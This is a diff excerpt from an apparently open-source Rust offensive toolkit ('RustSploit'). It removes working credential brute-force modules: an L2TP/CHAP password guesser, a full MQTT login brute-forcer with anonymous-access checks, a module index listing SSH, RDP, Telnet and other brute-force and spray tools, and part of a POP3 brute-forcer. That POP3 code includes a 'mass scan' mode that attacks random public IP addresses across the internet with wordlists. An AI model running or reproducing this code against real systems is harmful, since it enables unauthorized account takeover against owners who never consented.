let users = load_lines(&usernames_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
println!("[*] Loaded {} passwords", passwords.len());
let total_attempts = if combo_mode {
users.len() * passwords.len()
} else {
std::cmp::max(users.len(), passwords.len())
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
// Test connectivity first
println!("\n[*] Testing L2TP server connectivity...");
match test_l2tp_connectivity(&addr, Duration::from_millis(timeout_ms)).await {
Ok(true) => println!("[+] L2TP server is responding"),
Ok(false) => println!("{}", "[!] L2TP server not responding to control messages".yellow()),
Err(e) => println!("{}", format!("[!] Connectivity test failed: {}", e).yellow()),
}
println!("\n{}", "[Starting Attack]".bold().yellow());
println!();
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let timeout_duration = Duration::from_millis(timeout_ms);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = FuturesUnordered::new();
// Generate credential combinations
let combos: Vec<(String, String)> = if combo_mode {
users.iter()
.flat_map(|u| passwords.iter().map(move |p| (u.clone(), p.clone())))
.collect()
} else {
let max_len = std::cmp::max(users.len(), passwords.len());
(0..max_len)
.map(|i| (users[i % users.len()].clone(), passwords[i % passwords.len()].clone()))
.collect()
};
for (user, pass) in combos {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break,
};
let addr_clone = addr.clone();
let found_clone = found_credentials.clone();
let stop_clone = stop_signal.clone();
let stats_clone = stats.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_on_success && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user, &pass, timeout_duration).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass.clone()));
stats_clone.record_success();
if stop_on_success {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose {
println!("\r{}", format!("[!] {}: {}", addr_clone, e).red());
}
}
}
}));
// Drain completed tasks periodically
while tasks.len() >= concurrency * 2 {
if let Some(_) = tasks.next().await {}
}
}
// Wait for remaining tasks
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
if let Ok(mut file) = File::create(&filename) {
for (host_addr, user, pass) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{}", host_addr, user, pass);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Test L2TP server connectivity
async fn test_l2tp_connectivity(addr: &str, timeout: Duration) -> Result<bool> {
let result = tokio::task::spawn_blocking({
let addr = addr.to_string();
move || -> Result<bool> {
let sock = UdpSocket::bind("0.0.0.0:0")?;
sock.connect(&addr)?;
sock.set_read_timeout(Some(timeout))?;
sock.set_write_timeout(Some(timeout))?;
let mut session = L2tpSession::new(sock);
session.send_sccrq()?;
match session.recv_packet(timeout) {
Ok(pkt) => {
if pkt.is_control {
if let Some(msg_type) = L2tpSession::parse_message_type(&pkt.payload) {
return Ok(msg_type == L2TP_SCCRP);
}
}
Ok(false)
}
Err(_) => Ok(false),
}
}
}).await?;
result
}
/// Attempt L2TP login with credentials
async fn try_l2tp_login(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
let addr = addr.to_string();
let username = username.to_string();
let password = password.to_string();
tokio::task::spawn_blocking(move || {
try_l2tp_login_sync(&addr, &username, &password, timeout)
}).await?
}
/// Synchronous L2TP login attempt
fn try_l2tp_login_sync(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
let sock = UdpSocket::bind("0.0.0.0:0")?;
sock.connect(addr)?;
sock.set_read_timeout(Some(timeout))?;
sock.set_write_timeout(Some(timeout))?;
let mut session = L2tpSession::new(sock);
// Step 1: Send SCCRQ
session.send_sccrq()?;
// Step 2: Receive SCCRP
let pkt = session.recv_packet(timeout)?;
if !pkt.is_control {
return Err(anyhow!("Expected control message, got data"));
}
match L2tpSession::parse_message_type(&pkt.payload) {
Some(L2TP_SCCRP) => {
if let Some(tid) = L2tpSession::parse_assigned_id(&pkt.payload, 9) {
session.remote_tunnel_id = tid;
}
session.nr += 1;
}
Some(other) => return Err(anyhow!("Expected SCCRP, got message type {}", other)),
None => return Err(anyhow!("No message type in response")),
}
// Step 3: Send SCCCN
session.send_scccn()?;
// Step 4: Send ICRQ
session.send_icrq()?;
// Step 5: Receive ICRP
let pkt = session.recv_packet(timeout)?;
if pkt.is_control {
if let Some(L2TP_ICRP) = L2tpSession::parse_message_type(&pkt.payload) {
if let Some(sid) = L2tpSession::parse_assigned_id(&pkt.payload, 14) {
session.remote_session_id = sid;
}
session.nr += 1;
}
}
// Step 6: Send ICCN
session.send_iccn()?;
// Step 7: Wait for CHAP Challenge
let mut challenge_data: Option<(u8, Vec<u8>)> = None;
for _ in 0..5 {
match session.recv_packet(timeout) {
Ok(pkt) => {
if !pkt.is_control && pkt.payload.len() > 6 {
// Check for PPP CHAP
let mut offset = 0;
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
offset = 2;
}
if pkt.payload.len() > offset + 4 {
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
if protocol == PPP_CHAP {
let chap_code = pkt.payload[offset + 2];
if chap_code == CHAP_CHALLENGE {
let identifier = pkt.payload[offset + 3];
let value_size = pkt.payload[offset + 6] as usize;
if pkt.payload.len() >= offset + 7 + value_size {
let challenge = pkt.payload[offset + 7..offset + 7 + value_size].to_vec();
challenge_data = Some((identifier, challenge));
break;
}
}
}
}
}
}
Err(_) => break,
}
}
let (identifier, challenge) = challenge_data.ok_or_else(|| anyhow!("No CHAP challenge received"))?;
// Step 8: Send CHAP Response
session.send_chap_response(identifier, &challenge, username, password)?;
// Step 9: Wait for CHAP Success/Failure
for _ in 0..5 {
match session.recv_packet(timeout) {
Ok(pkt) => {
if !pkt.is_control && pkt.payload.len() > 4 {
let mut offset = 0;
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
offset = 2;
}
if pkt.payload.len() > offset + 2 {
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
if protocol == PPP_CHAP {
let chap_code = pkt.payload[offset + 2];
match chap_code {
CHAP_SUCCESS => return Ok(true),
CHAP_FAILURE => return Ok(false),
_ => continue,
}
}
}
}
}
Err(_) => break,
}
}
Err(anyhow!("No CHAP response received"))
}
-18
View File
@@ -1,18 +0,0 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod telnet_hose;
pub mod ssh_bruteforce;
pub mod ssh_user_enum;
pub mod ssh_spray;
pub mod rtsp_bruteforce;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
pub mod snmp_bruteforce;
pub mod fortinet_bruteforce;
pub mod l2tp_bruteforce;
pub mod mqtt_bruteforce;
@@ -1,563 +0,0 @@
//! MQTT Brute Force Module
//!
//! High-performance MQTT authentication testing with:
//! - TLS/SSL support (port 8883)
//! - Anonymous authentication detection
//! - Intelligent error classification
//! - Progress tracking and statistics
//! - Multiple attack modes (full combo, linear, single user/pass)
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range, prompt_default,
load_lines, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
// ============================================================================
// Constants
// ============================================================================
const MQTT_CONNECT_TIMEOUT_MS: u64 = 5000;
const MQTT_READ_TIMEOUT_MS: u64 = 3000;
const PROGRESS_INTERVAL_SECS: u64 = 2;
// MQTT Protocol Constants
const MQTT_PACKET_CONNECT: u8 = 0x10;
const MQTT_PACKET_CONNACK: u8 = 0x20;
const MQTT_PACKET_DISCONNECT: u8 = 0xE0;
const MQTT_PROTOCOL_NAME: &[u8] = b"MQTT";
const MQTT_PROTOCOL_LEVEL_V311: u8 = 0x04;
// MQTT Connect Flags
const MQTT_FLAG_CLEAN_SESSION: u8 = 0x02;
const MQTT_FLAG_USERNAME: u8 = 0x80;
const MQTT_FLAG_PASSWORD: u8 = 0x40;
// MQTT Return Codes
#[derive(Debug, Clone, Copy, PartialEq)]
enum MqttReturnCode {
Accepted,
UnacceptableProtocol,
IdentifierRejected,
ServerUnavailable,
BadCredentials,
NotAuthorized,
Unknown(u8),
}
impl MqttReturnCode {
fn from_byte(b: u8) -> Self {
match b {
0x00 => Self::Accepted,
0x01 => Self::UnacceptableProtocol,
0x02 => Self::IdentifierRejected,
0x03 => Self::ServerUnavailable,
0x04 => Self::BadCredentials,
0x05 => Self::NotAuthorized,
_ => Self::Unknown(b),
}
}
fn is_auth_failure(&self) -> bool {
matches!(self, Self::BadCredentials | Self::NotAuthorized)
}
fn description(&self) -> &'static str {
match self {
Self::Accepted => "Connection Accepted",
Self::UnacceptableProtocol => "Unacceptable Protocol Version",
Self::IdentifierRejected => "Identifier Rejected",
Self::ServerUnavailable => "Server Unavailable",
Self::BadCredentials => "Bad Username or Password",
Self::NotAuthorized => "Not Authorized",
Self::Unknown(_) => "Unknown Return Code",
}
}
}
// ============================================================================
// Configuration
// ============================================================================
#[derive(Clone)]
struct MqttConfig {
target: String,
port: u16,
use_tls: bool,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
client_id: String,
test_anonymous: bool,
}
// ============================================================================
// Attack Result
// ============================================================================
#[derive(Debug)]
enum AttackResult {
Success(String, String), // (username, password)
AuthFailed,
ConnectionError(String),
ProtocolError(String),
}
// ============================================================================
// Main Entry Point
// ============================================================================
pub async fn run(target: &str) -> Result<()> {
display_banner();
let normalized_target = normalize_target(&target.to_string())?;
println!("{}", format!("[*] Target: {}", normalized_target).cyan());
println!();
// Configuration prompts
let port = prompt_int_range("MQTT Port (1883/8883)", 1883, 1, 65535)? as u16;
let use_tls = if port == 8883 {
println!("{}", "[*] Port 8883 detected - TLS enabled by default".blue());
true
} else {
prompt_yes_no("Use TLS/SSL?", false)?
};
let test_anonymous = prompt_yes_no("Test anonymous authentication first?", true)?;
let username_wordlist = prompt_existing_file("Username wordlist file")?;
let password_wordlist = prompt_existing_file("Password wordlist file")?;
let threads = prompt_int_range("Concurrent connections", 10, 1, 500)? as usize;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?;
let full_combo = prompt_yes_no("Full combination mode (user × pass)?", false)?;
let verbose = prompt_yes_no("Verbose output?", false)?;
let client_id = prompt_default("MQTT Client ID", "rustsploit_mqtt")?;
let config = MqttConfig {
target: normalized_target,
port,
use_tls,
threads,
stop_on_success,
verbose,
full_combo,
client_id,
test_anonymous,
};
run_bruteforce(config, &username_wordlist, &password_wordlist).await
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ MQTT Brute Force Module v2.0 ║".cyan());
println!("{}", "║ Supports TLS/SSL, Anonymous Auth, Full Combo Mode ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
// ============================================================================
// Bruteforce Engine
// ============================================================================
async fn run_bruteforce(
config: MqttConfig,
username_file: &str,
password_file: &str,
) -> Result<()> {
// Build connection address
let addr = format!("{}:{}", config.target, config.port);
// Load wordlists
let usernames = load_lines(username_file)?;
let passwords = load_lines(password_file)?;
if usernames.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
println!("{}", format!("[*] Usernames: {}", usernames.len()).cyan());
println!("{}", format!("[*] Passwords: {}", passwords.len()).cyan());
let total = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("{}", format!("[*] Total attempts: ~{}", total).cyan());
println!("{}", format!("[*] TLS: {}", if config.use_tls { "Enabled" } else { "Disabled" }).cyan());
println!();
// State
let found: Arc<Mutex<Vec<(String, String)>>> = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let attempts = Arc::new(AtomicUsize::new(0));
// Test anonymous first if requested
if config.test_anonymous {
println!("{}", "[*] Testing anonymous authentication...".blue());
match try_mqtt_auth(&addr, "", "", &config.client_id, config.use_tls).await {
AttackResult::Success(_, _) => {
println!("{}", "[+] ANONYMOUS ACCESS ALLOWED!".green().bold());
found.lock().await.push(("(anonymous)".to_string(), "(no password)".to_string()));
if config.stop_on_success {
print_results(&found, &stats).await;
return Ok(());
}
}
AttackResult::AuthFailed => {
println!("{}", "[-] Anonymous access denied (authentication required)".yellow());
}
AttackResult::ConnectionError(e) => {
println!("{}", format!("[!] Connection error: {}", e).red());
return Err(anyhow!("Cannot connect to MQTT broker: {}", e));
}
AttackResult::ProtocolError(e) => {
println!("{}", format!("[!] Protocol error: {}", e).yellow());
}
}
println!();
}
// Progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_flag.clone();
let attempts_clone = attempts.clone();
let total_clone = total;
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
let current = attempts_clone.load(Ordering::Relaxed);
let pct = if total_clone > 0 { (current * 100) / total_clone } else { 0 };
print!("\r{}", format!("[*] Progress: {}/{} ({}%) ", current, total_clone, pct).blue());
stats_clone.print_progress();
tokio::time::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Semaphore for concurrency control
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate and spawn tasks
if config.full_combo {
// Full combination: every user × every password
for username in &usernames {
if stop_flag.load(Ordering::Relaxed) { break; }
for password in &passwords {
if stop_flag.load(Ordering::Relaxed) { break; }
spawn_attempt(
&mut tasks,
&semaphore,
&config,
&addr,
username.clone(),
password.clone(),
&found,
&stop_flag,
&stats,
&attempts,
).await;
}
}
} else {
// Linear mode: zip users and passwords (cycling shorter list)
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
if stop_flag.load(Ordering::Relaxed) { break; }
let username = &usernames[i % usernames.len()];
let password = &passwords[i % passwords.len()];
spawn_attempt(
&mut tasks,
&semaphore,
&config,
&addr,
username.clone(),
password.clone(),
&found,
&stop_flag,
&stats,
&attempts,
).await;
}
}
// Await all tasks
while let Some(result) = tasks.next().await {
if let Err(e) = result {
if config.verbose {
eprintln!("{}", format!("[!] Task error: {}", e).red());
}
}
}
// Cleanup
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
println!(); // Clear progress line
print_results(&found, &stats).await;
Ok(())
}
async fn spawn_attempt(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
config: &MqttConfig,
addr: &str,
username: String,
password: String,
found: &Arc<Mutex<Vec<(String, String)>>>,
stop_flag: &Arc<AtomicBool>,
stats: &Arc<BruteforceStats>,
attempts: &Arc<AtomicUsize>,
) {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => return,
};
let addr = addr.to_string();
let config = config.clone();
let found = Arc::clone(found);
let stop_flag = Arc::clone(stop_flag);
let stats = Arc::clone(stats);
let attempts = Arc::clone(attempts);
tasks.push(tokio::spawn(async move {
let _permit = permit; // Hold until task completes
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) {
return;
}
attempts.fetch_add(1, Ordering::Relaxed);
match try_mqtt_auth(&addr, &username, &password, &config.client_id, config.use_tls).await {
AttackResult::Success(u, p) => {
println!("\r{}", format!("[+] VALID: {}:{}", u, p).green().bold());
found.lock().await.push((u, p));
stats.record_success();
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
}
}
AttackResult::AuthFailed => {
stats.record_failure();
if config.verbose {
println!("\r{}", format!("[-] {}:{}", username, password).dimmed());
}
}
AttackResult::ConnectionError(e) => {
stats.record_error(e.clone()).await;
if config.verbose {
println!("\r{}", format!("[!] Connection: {}", e).yellow());
}
}
AttackResult::ProtocolError(e) => {
stats.record_error(e.clone()).await;
if config.verbose {
println!("\r{}", format!("[!] Protocol: {}", e).yellow());
}
}
}
}));
}
async fn print_results(found: &Arc<Mutex<Vec<(String, String)>>>, stats: &Arc<BruteforceStats>) {
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No valid credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (user, pass) in creds.iter() {
println!(" {} {}:{}", "".green(), user, pass);
}
}
}
// ============================================================================
// MQTT Protocol Implementation
// ============================================================================
async fn try_mqtt_auth(
addr: &str,
username: &str,
password: &str,
client_id: &str,
_use_tls: bool,
) -> AttackResult {
// Connect with timeout
let stream = match tokio::time::timeout(
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
TcpStream::connect(addr),
).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => return AttackResult::ConnectionError(e.to_string()),
Err(_) => return AttackResult::ConnectionError("Connection timeout".to_string()),
};
// TODO: Add TLS support using tokio-native-tls or tokio-rustls
// For now, we proceed with plain TCP (TLS requires additional dependencies)
match mqtt_handshake(stream, username, password, client_id).await {
Ok(true) => AttackResult::Success(username.to_string(), password.to_string()),
Ok(false) => AttackResult::AuthFailed,
Err(e) => AttackResult::ProtocolError(e.to_string()),
}
}
async fn mqtt_handshake(
mut stream: TcpStream,
username: &str,
password: &str,
client_id: &str,
) -> Result<bool> {
// Build CONNECT packet
let packet = build_connect_packet(username, password, client_id)?;
// Send CONNECT
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
stream.flush().await.context("Failed to flush")?;
// Read CONNACK
let mut header = [0u8; 2];
let read_result = tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read_exact(&mut header),
).await;
match read_result {
Ok(Ok(_)) => {}
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
Err(_) => return Err(anyhow!("Read timeout")),
}
if header[0] != MQTT_PACKET_CONNACK {
return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", header[0]));
}
let remaining_len = header[1] as usize;
if remaining_len < 2 {
return Err(anyhow!("CONNACK too short"));
}
let mut payload = vec![0u8; remaining_len];
tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read_exact(&mut payload),
).await.context("Read timeout")?
.context("Failed to read CONNACK payload")?;
// Parse return code (byte 1 of variable header)
let return_code = MqttReturnCode::from_byte(payload[1]);
// Send DISCONNECT on success
if return_code == MqttReturnCode::Accepted {
let _ = stream.write_all(&[MQTT_PACKET_DISCONNECT, 0x00]).await;
return Ok(true);
}
if return_code.is_auth_failure() {
return Ok(false);
}
Err(anyhow!("MQTT error: {}", return_code.description()))
}
fn build_connect_packet(username: &str, password: &str, client_id: &str) -> Result<Vec<u8>> {
let mut var_header = Vec::new();
// Protocol Name
var_header.extend_from_slice(&(MQTT_PROTOCOL_NAME.len() as u16).to_be_bytes());
var_header.extend_from_slice(MQTT_PROTOCOL_NAME);
// Protocol Level
var_header.push(MQTT_PROTOCOL_LEVEL_V311);
// Connect Flags
let mut flags = MQTT_FLAG_CLEAN_SESSION;
if !username.is_empty() {
flags |= MQTT_FLAG_USERNAME;
}
if !password.is_empty() {
flags |= MQTT_FLAG_PASSWORD;
}
var_header.push(flags);
// Keep Alive (60 seconds)
var_header.extend_from_slice(&60u16.to_be_bytes());
// Payload
let mut payload = Vec::new();
// Client ID (required)
let client_id_bytes = client_id.as_bytes();
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(client_id_bytes);
// Username (optional)
if !username.is_empty() {
let username_bytes = username.as_bytes();
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(username_bytes);
}
// Password (optional)
if !password.is_empty() {
let password_bytes = password.as_bytes();
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(password_bytes);
}
// Calculate remaining length
let remaining_length = var_header.len() + payload.len();
let remaining_bytes = encode_remaining_length(remaining_length)?;
// Build final packet
let mut packet = Vec::with_capacity(1 + remaining_bytes.len() + var_header.len() + payload.len());
packet.push(MQTT_PACKET_CONNECT);
packet.extend_from_slice(&remaining_bytes);
packet.extend_from_slice(&var_header);
packet.extend_from_slice(&payload);
Ok(packet)
}
fn encode_remaining_length(mut length: usize) -> Result<Vec<u8>> {
if length > 268_435_455 {
return Err(anyhow!("Packet too large"));
}
let mut bytes = Vec::with_capacity(4);
loop {
let mut byte = (length % 128) as u8;
length /= 128;
if length > 0 {
byte |= 0x80;
}
bytes.push(byte);
if length == 0 {
break;
}
}
Ok(bytes)
}
@@ -1,526 +0,0 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use native_tls::TlsConnector;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::time::Duration;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
use std::sync::atomic::AtomicUsize;
use std::net::{IpAddr, SocketAddr};
use tokio::fs::OpenOptions; // For file writing in mass scan
use tokio::io::AsyncWriteExt; // For write_all
const STATE_FILE: &str = "pop3_hose_state.log";
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
use_ssl: bool,
connection_timeout: u64,
retry_on_error: bool,
max_retries: usize,
output_file: String,
delay_ms: u64,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?;
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file")?;
let password_wordlist = prompt_existing_file("Password wordlist file")?;
let threads = prompt_int_range("Threads", 16, 1, 256)? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64;
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60)? as u64;
let full_combo = prompt_yes_no("Try every username with every password?", false)?;
let stop_on_success = prompt_yes_no("Stop on first valid login?", false)?;
let output_file = prompt_default("Output file for results", "pop3_results.txt")?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let retry_on_error = prompt_yes_no("Retry failed connections?", true)?;
let max_retries = if retry_on_error {
prompt_int_range("Max retries", 2, 1, 10)? as usize
} else {
0
};
let config = Pop3BruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
use_ssl,
connection_timeout,
retry_on_error,
max_retries,
output_file,
delay_ms,
};
println!();
println!("{}", "[Starting Attack]".bold().yellow());
println!();
run_pop3_bruteforce(config).await
}
async fn run_mass_scan(target: &str) -> Result<()> {
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?;
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "pop3_mass_results.txt")?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, use_ssl));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid POP3 credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break, // Semaphore closed, exit loop
};
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await
.context(format!("Failed to read target file: {}", target))?;
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => continue, // Skip this IP if semaphore closed
};
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, bool)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes, use_ssl) = &*creds;
let target_str = ip.to_string();
// Construct a config for the attempt function
// We can't reuse the large config struct easily without creating dummy values,
// so we'll just reconstruct the necessary parts or make attempt_pop3_login take separate args.
// For now, I'll build a dummy config.
let dummy_wordlist = "dummy".to_string();
for user in users {
for pass in passes {
let t_target = target_str.clone();
let t_user = user.clone();
let t_pass = pass.clone();
let t_use_ssl = *use_ssl;
let dw = dummy_wordlist.clone();
// Blocking call
let res = tokio::task::spawn_blocking(move || {
let config = Pop3BruteforceConfig {
target: t_target,
port,
username_wordlist: dw.clone(),
password_wordlist: dw.clone(),
threads: 1,
